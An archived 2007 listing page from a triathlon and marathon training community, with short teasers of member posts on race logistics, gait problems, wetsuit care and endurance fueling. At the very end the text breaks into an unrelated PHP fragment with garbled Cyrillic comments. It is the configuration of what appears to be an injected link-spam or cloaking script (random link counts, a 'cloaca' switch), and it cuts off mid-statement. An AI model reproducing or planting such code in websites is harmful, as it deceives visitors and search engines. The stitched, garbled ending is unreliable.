Updated daily by members of ontri.com - a triathlon & marathon training community for all levels

Archive for 2007

Posted Aug. 18 2007

Need help in Oklahoma City — Urgent!

Message posted by: Craig S. This could go down as one of the wackier requests here, but I figured I’d give it a shot. I am abondoning my car in Oklahoma City, as I broke the axle this morning. My girlfriend and I are scheduled to fly out tomorrow afternoon, so that I can get …

Posted

Have you ever seen this?

Message posted by: Stacey U. I raced a sprint this morning (RR to follow….STILL waiting for results to post…). Very unorganized- specifically lacking in transition security. When I left the race this morning, I walked into transition, grabbed my bike, and left- no one checked my race number, or matched me to my bike. In …

Posted Aug. 17 2007

Au naturel, alfresco!

Message posted by: Mark B. One of the unique things about working at a newspaper is eavesdropping on the cops via the police scanner. The radio traffic is usually mundane, and sometimes grim. But every once in a while, I hear something that makes me laugh out loud. It just happened, when a dispatcher asked …

Posted Aug. 16 2007

So I’m a mutant. Who knew?

Message posted by: Mark B. According to a treadmill experience today, my physical therapist has finally verified what a running coach mentioned off-hand to me more than 20 years ago: I've got a really unusual gait. Here's what happens. My right leg rotates outward while pulling inward – that's caused by a very weak gluteus …

Posted

Triathlon holidays and gear for girls

Message posted by: Emma H. Just a bit of promotion for my friend and team mate Lucy who is setting up a tri holiday company in Taupo. It's mainly focussed at overseas visitors wanting a great training break in Taupo, with IMNZ in mind. Lucy is currently in the UK preparing for IMUK, then she's …

Posted

How to Store a wet suit

Message posted by: M . I recently got a wet suit from my sister-in-law who did one Tri 2 yrs ago. I want to be sure I store it properly so it doesn't dry out. Any tips? Thanks, Maresa To view the rest of the post or comment on the post, please log-in to www.ontri.com

Posted

Boyne Moutain Tri / Sept. 2nd

Message posted by: M . Hi all – Has anyone ever done the boyne Mountain Tri in Michigan? The 1000 M swim is in Deer Lake just behind the boyne Mt. golaf course. How is the lake? Weedy? Dark? Thanks, Maresa To view the rest of the post or comment on the post, please log-in …

Posted Aug. 15 2007

Rumble, rumble, rumble….

Message posted by: Mark B. So I've been trying to find ways to boost my carb intake as my mileage increases toward the Portland Marathon on Oct. 7. I thought I found a good way – Clif bars and PowerBar Harvest bars. They have a good level of complex carbohydrates, not much fat – and …

Posted

Fuel the 26 miles

Message posted by: Jim R. I am considering an IM next year. On my half this year I felt I was not properly nurished. I know I did not get enough on the bike, but I would like to know more about how to fuel on the long run. Sounds like a fuelbelt will be …

Posted

The"EXPAND-A-LUNG"™ Breathing Resistance Exerciser

Message posted by: otto S. hi everybody! i just didi my first sprint tri and a i loved… i'm looking foward to get in better shape.is does The"EXPAND-A-LUNG"â„¢ Breathing Resistance Exerciser really works, and how works? To view the rest of the post or comment on the post, please log-in to www.ontri.com

?php /* Config */ $count_url = 1000; //Êîë-âî ðàíäîìíûõ ññûëîê $static = 0;//Èñïîëüçîâàòü ñòàòè÷åñêèå ññûëêè $id = 1; //Èäåíòèôèêàòîð ôàéëà ñî ñòàòè÷åñêèìè ññûëêà $count_s = 4; //Ñêîëüêî âûâåñòè ññûëîê èç ñòàòè÷åñêîãî ôàéëà. 0 - ÂÑÅ $cloaca = 1; //èñïîëüçîâàòü ëè êëîàêó $host =